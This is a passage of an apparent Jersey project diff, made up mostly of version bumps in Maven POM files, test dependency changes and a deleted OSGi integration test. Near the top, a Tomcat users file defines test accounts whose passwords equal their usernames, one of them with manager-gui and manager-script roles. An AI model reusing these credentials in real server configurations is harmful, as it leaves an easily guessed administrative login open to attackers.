+  The users below are wrapped in a comment and are therefore ignored. If you
+  wish to configure one or more of these users for use with the manager web
+  application, do not forget to remove the <!.. ..> that surrounds them. You
+  will also need to set the passwords to something appropriate.
+-->
+<!--
+  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
+  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
+-->
+<!--
+  The sample user and role entries below are intended for use with the
+  examples web application. They are wrapped in a comment and thus are ignored
+  when reading this file. If you wish to configure these users for use with the
+  examples web application, do not forget to remove the <!.. ..> that surrounds
+  them. You will also need to set the passwords to something appropriate.
+-->
+<!--
+  <role rolename="tomcat"/>
+  <role rolename="role1"/>
+  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
+  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
+  <user username="role1" password="<must-be-changed>" roles="role1"/>
+-->
+  <role rolename="DIRECTOR"/>
+  <role rolename="OTHERROLE"/>
+  <user username="javajoe" password="javajoe" roles="OTHERROLE"/>
+  <user username="j2ee" password="j2ee" roles="manager-gui,manager-script,DIRECTOR"/>
+</tomcat-users>
diff --git a/tests/jmockit/pom.xml b/tests/jmockit/pom.xml
index afaa01b..7494d1f 100644
--- a/tests/jmockit/pom.xml
+++ b/tests/jmockit/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
index 974404c..6a0290f 100644
--- a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
+++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Markus KARG. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -26,6 +26,7 @@
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
+import jakarta.ws.rs.core.Configuration;
 import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.ServiceFinder.ServiceIteratorProvider;
 import org.glassfish.jersey.internal.guava.Iterators;
@@ -78,10 +79,16 @@
                             }
                         }
                                 : service == InjectionManagerFactory.class ? new InjectionManagerFactory() {
+
                             @Override
                             public final InjectionManager create(final Object parent) {
                                 return mockInjectionManager;
                             }
+
+                            @Override
+                            public InjectionManager create(Object parent, Configuration configuration) {
+                                return mockInjectionManager;
+                            }
                         }
                                 : null));
             }
diff --git a/tests/mem-leaks/pom.xml b/tests/mem-leaks/pom.xml
index d0bafa5..c94b1d1 100644
--- a/tests/mem-leaks/pom.xml
+++ b/tests/mem-leaks/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks</groupId>
diff --git a/tests/mem-leaks/redeployment/pom.xml b/tests/mem-leaks/redeployment/pom.xml
index d0cc7fb..132bebb 100644
--- a/tests/mem-leaks/redeployment/pom.xml
+++ b/tests/mem-leaks/redeployment/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
diff --git a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
index ba9e93f..4afb939 100644
--- a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-hello-world-app-ref</artifactId>
@@ -132,7 +132,7 @@
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>helloworld-webapp</artifactId>
             <type>war</type>
-            <version>3.5.99-SNAPSHOT</version>
+            <version>4.0.99-SNAPSHOT</version>
         </dependency>
     </dependencies>
 
diff --git a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
index 3c2a4e4..a10c517 100644
--- a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
index 1e103cb..b0cc72a 100644
--- a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-no-jersey-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
index d578f03..323fad7 100644
--- a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-threadlocals-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
index d8fcc6c..f07aa35 100644
--- a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bean-param-leak</artifactId>
diff --git a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
index 010d1e7..b708b06 100644
--- a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
+++ b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/pom.xml b/tests/mem-leaks/test-cases/pom.xml
index 91d537b..5a445b2 100644
--- a/tests/mem-leaks/test-cases/pom.xml
+++ b/tests/mem-leaks/test-cases/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
index 76c2dbe..7a50dd6 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>shutdown-hook-leak-client</artifactId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
index 9495248..5d37ec4 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>shutdown-hook-leak</artifactId>
diff --git a/tests/osgi/functional/pom.xml b/tests/osgi/functional/pom.xml
index a497c35..f436d65 100644
--- a/tests/osgi/functional/pom.xml
+++ b/tests/osgi/functional/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.osgi</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-tests-osgi-functional</artifactId>
@@ -70,6 +70,10 @@
                     <forkCount>1</forkCount>
                     <reuseForks>false</reuseForks>
                     <enableAssertions>false</enableAssertions>
+                    <excludes>
+                        <exclude>**/JsonProcessingTest*</exclude>
+                        <exclude>**/JaxRsRiBundleTest*</exclude>
+                    </excludes>
                 </configuration>
                 <executions>
                     <execution>
@@ -157,6 +161,7 @@
                     <artifactId>slf4j-api</artifactId>
                 </exclusion>
             </exclusions>
+            <version>${pax.exam.legacy.version}</version>
         </dependency>
         <dependency>
             <groupId>org.ops4j.pax.exam</groupId>
@@ -176,11 +181,11 @@
         <dependency>
             <groupId>org.ops4j.pax.url</groupId>
             <artifactId>pax-url-aether</artifactId>
-            <version>2.6.14</version>
+            <version>${pax.url.aether.version}</version>
             <exclusions>
                 <exclusion>
                     <groupId>org.slf4j</groupId>
-                    <artifactId>jcl-over-slf4j</artifactId>
+                    <artifactId>slf4j-api</artifactId>
                 </exclusion>
             </exclusions>
             <scope>test</scope>
@@ -206,29 +211,11 @@
             <scope>test</scope>
         </dependency>
 
-        <!-- dependecies for OSGi test with Apache connector -->
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
         <dependency>
             <groupId>org.ops4j.pax.logging</groupId>
             <artifactId>pax-logging-api</artifactId>
             <scope>test</scope>
-            <version>1.11.17</version>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpcore-osgi</artifactId>
-            <scope>test</scope>
-            <version>4.4.6</version>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient-osgi</artifactId>
-            <scope>test</scope>
-            <version>${httpclient.version}</version>
+            <version>${pax.logging.api.version}</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
@@ -281,21 +268,6 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-            <scope>test</scope>
-        </dependency>
-<!--        <dependency>-->
-<!--            <groupId>org.mortbay.jetty</groupId>-->
-<!--            <artifactId>jetty</artifactId>-->
-<!--            <scope>test</scope>-->
-<!--        </dependency>-->
-<!--        <dependency>-->
-<!--            <groupId>org.mortbay.jetty</groupId>-->
-<!--            <artifactId>jetty-util</artifactId>-->
-<!--            <scope>test</scope>-->
-<!--        </dependency>-->
-        <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
             <version>${servlet6.version}</version>
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java
deleted file mode 100644
index 2914dbb..0000000
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.osgi.test.basic;
-
-import java.net.URI;
-import java.util.List;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.grizzly.http.server.HttpServer;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory;
-import org.glassfish.jersey.osgi.test.util.Helper;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.ops4j.pax.exam.Configuration;
-import org.ops4j.pax.exam.Option;
-import org.ops4j.pax.exam.junit.PaxExam;
-
-import static org.junit.Assert.assertEquals;
-import static org.ops4j.pax.exam.CoreOptions.mavenBundle;
-import static org.ops4j.pax.exam.CoreOptions.systemProperty;
-
-/**
- * @author Adam Lindenthal
- */
-@RunWith(PaxExam.class)
-public class ApacheOsgiIntegrationTest {
-
-    private static final URI baseUri = UriBuilder.fromUri("http://localhost").port(Helper.getPort()).path("/jersey").build();
-    private static final String JAXRS_RUNTIME_DELEGATE_PROPERTY = "jakarta.ws.rs.ext.RuntimeDelegate";
-
-    @Configuration
-    public static Option[] configuration() {
-        final List<Option> options = Helper.getCommonOsgiOptions();
-        options.addAll(Helper.expandedList(
-                mavenBundle().groupId("org.ops4j.pax.logging").artifactId("pax-logging-api").versionAsInProject(),
-                mavenBundle().groupId("org.osgi").artifactId("org.osgi.service.cm").versionAsInProject(),
-                mavenBundle().groupId("org.apache.httpcomponents").artifactId("httpcore-osgi").versionAsInProject(),
-                mavenBundle().groupId("org.apache.httpcomponents").artifactId("httpclient-osgi").versionAsInProject(),
-                mavenBundle().groupId("org.glassfish.jersey.connectors").artifactId("jersey-apache-connector")
-                        .versionAsInProject(),
-                systemProperty(JAXRS_RUNTIME_DELEGATE_PROPERTY).value("org.glassfish.jersey.internal.RuntimeDelegateImpl")
-                ));
-        return Helper.asArray(options);
-    }
-
-    @Path("/apacheOsgiTest")
-    public static class ApacheOsgiTestResource {
-
-        @GET
-        public String getMe() {
-            return "OK";
-        }
-    }
-
-    @Test
-    public void testSimpleResource() throws Exception {
-        final ResourceConfig resourceConfig = new ResourceConfig(ApacheOsgiTestResource.class);
-        final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(baseUri, resourceConfig);
-
-        final ClientConfig clientConfig = new ClientConfig();
-        clientConfig.connectorProvider(new ApacheConnectorProvider());
-        final Client c = ClientBuilder.newClient(clientConfig);
-
-        final Response response = c.target(baseUri).path("/apacheOsgiTest").request().buildGet().invoke();
-
-        final String result = response.readEntity(String.class);
-        assertEquals("OK", result);
-        server.shutdownNow();
-    }
-}
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
index 4be49dd..23d1884 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -144,6 +144,7 @@
                 // jakarta.annotation has to go first!
                 mavenBundle().groupId("jakarta.annotation").artifactId("jakarta.annotation-api").versionAsInProject(),
                 mavenBundle().groupId("jakarta.activation").artifactId("jakarta.activation-api").versionAsInProject(),
+                mavenBundle().groupId("jakarta.el").artifactId("jakarta.el-api").versionAsInProject(),
                 mavenBundle().groupId("jakarta.inject").artifactId("jakarta.inject-api").versionAsInProject(),
                 mavenBundle().groupId("jakarta.xml.bind").artifactId("jakarta.xml.bind-api").versionAsInProject(),
                 junitBundles(),
diff --git a/tests/osgi/pom.xml b/tests/osgi/pom.xml
index 7744326..f6b3f5b 100644
--- a/tests/osgi/pom.xml
+++ b/tests/osgi/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.osgi</groupId>
diff --git a/tests/performance/benchmarks/pom.xml b/tests/performance/benchmarks/pom.xml
index 388b742..12e47b6 100644
--- a/tests/performance/benchmarks/pom.xml
+++ b/tests/performance/benchmarks/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>performance-test-benchmarks</artifactId>
diff --git a/tests/performance/pom.xml b/tests/performance/pom.xml
index a311af9..12db434 100644
--- a/tests/performance/pom.xml
+++ b/tests/performance/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance</groupId>
diff --git a/tests/performance/runners/jersey-grizzly-runner/pom.xml b/tests/performance/runners/jersey-grizzly-runner/pom.xml
index 25c54e1..ade1ddf 100644
--- a/tests/performance/runners/jersey-grizzly-runner/pom.xml
+++ b/tests/performance/runners/jersey-grizzly-runner/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
 
diff --git a/tests/performance/runners/pom.xml b/tests/performance/runners/pom.xml
index 56b1568..178471d 100644
--- a/tests/performance/runners/pom.xml
+++ b/tests/performance/runners/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
diff --git a/tests/performance/test-cases/assemblies/pom.xml b/tests/performance/test-cases/assemblies/pom.xml
index f4c7f2b..097af8e 100644
--- a/tests/performance/test-cases/assemblies/pom.xml
+++ b/tests/performance/test-cases/assemblies/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>assemblies</artifactId>
diff --git a/tests/performance/test-cases/filter-dynamic/pom.xml b/tests/performance/test-cases/filter-dynamic/pom.xml
index 563d7fc..ab9edc9 100644
--- a/tests/performance/test-cases/filter-dynamic/pom.xml
+++ b/tests/performance/test-cases/filter-dynamic/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-dynamic</artifactId>
diff --git a/tests/performance/test-cases/filter-global/pom.xml b/tests/performance/test-cases/filter-global/pom.xml
index 31d816f..300e6e5 100644
--- a/tests/performance/test-cases/filter-global/pom.xml
+++ b/tests/performance/test-cases/filter-global/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-global</artifactId>
diff --git a/tests/performance/test-cases/filter-name/pom.xml b/tests/performance/test-cases/filter-name/pom.xml
index 560caea..07ede67 100644
--- a/tests/performance/test-cases/filter-name/pom.xml
+++ b/tests/performance/test-cases/filter-name/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-name</artifactId>
diff --git a/tests/performance/test-cases/interceptor-dynamic/pom.xml b/tests/performance/test-cases/interceptor-dynamic/pom.xml
index 7b1a3f2..535a03c 100644
--- a/tests/performance/test-cases/interceptor-dynamic/pom.xml
+++ b/tests/performance/test-cases/interceptor-dynamic/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-dynamic</artifactId>
diff --git a/tests/performance/test-cases/interceptor-global/pom.xml b/tests/performance/test-cases/interceptor-global/pom.xml
index 289be67..486ab5a 100644
--- a/tests/performance/test-cases/interceptor-global/pom.xml
+++ b/tests/performance/test-cases/interceptor-global/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-global</artifactId>
diff --git a/tests/performance/test-cases/interceptor-name/pom.xml b/tests/performance/test-cases/interceptor-name/pom.xml
index 9f41ad2..91b6186 100644
--- a/tests/performance/test-cases/interceptor-name/pom.xml
+++ b/tests/performance/test-cases/interceptor-name/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-name</artifactId>
diff --git a/tests/performance/test-cases/mbw-custom-provider/pom.xml b/tests/performance/test-cases/mbw-custom-provider/pom.xml
index 055d1a0..402d4ba 100644
--- a/tests/performance/test-cases/mbw-custom-provider/pom.xml
+++ b/tests/performance/test-cases/mbw-custom-provider/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>custom-provider</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-jackson/pom.xml b/tests/performance/test-cases/mbw-json-jackson/pom.xml
index d8b838a..7ef71fb 100644
--- a/tests/performance/test-cases/mbw-json-jackson/pom.xml
+++ b/tests/performance/test-cases/mbw-json-jackson/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jackson</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-moxy/pom.xml b/tests/performance/test-cases/mbw-json-moxy/pom.xml
index 5ee1a77..54350fb 100644
--- a/tests/performance/test-cases/mbw-json-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-json-moxy/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-moxy</artifactId>
diff --git a/tests/performance/test-cases/mbw-kryo/pom.xml b/tests/performance/test-cases/mbw-kryo/pom.xml
index 5e05ad9..603fa10 100644
--- a/tests/performance/test-cases/mbw-kryo/pom.xml
+++ b/tests/performance/test-cases/mbw-kryo/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>mbw-kryo</artifactId>
diff --git a/tests/performance/test-cases/mbw-text-plain/pom.xml b/tests/performance/test-cases/mbw-text-plain/pom.xml
index c83cd73..b764299 100644
--- a/tests/performance/test-cases/mbw-text-plain/pom.xml
+++ b/tests/performance/test-cases/mbw-text-plain/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>text-plain</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
index 128f398..62bf4b1 100644
--- a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-jaxb</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-moxy/pom.xml b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
index d19a4d2..83d1feb 100644
--- a/tests/performance/test-cases/mbw-xml-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-moxy</artifactId>
diff --git a/tests/performance/test-cases/param-srl/pom.xml b/tests/performance/test-cases/param-srl/pom.xml
index 2eec4c2..6e2b2a0 100644
--- a/tests/performance/test-cases/param-srl/pom.xml
+++ b/tests/performance/test-cases/param-srl/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>param-srl</artifactId>
diff --git a/tests/performance/test-cases/pom.xml b/tests/performance/test-cases/pom.xml
index cc32b89..0f852d8 100644
--- a/tests/performance/test-cases/pom.xml
+++ b/tests/performance/test-cases/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
diff --git a/tests/performance/test-cases/proxy-injection/pom.xml b/tests/performance/test-cases/proxy-injection/pom.xml
index d1032b9..b632fae 100644
--- a/tests/performance/test-cases/proxy-injection/pom.xml
+++ b/tests/performance/test-cases/proxy-injection/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>proxy-injection</artifactId>
diff --git a/tests/performance/tools/pom.xml b/tests/performance/tools/pom.xml
index 6dc03a4..b9ecdd3 100644
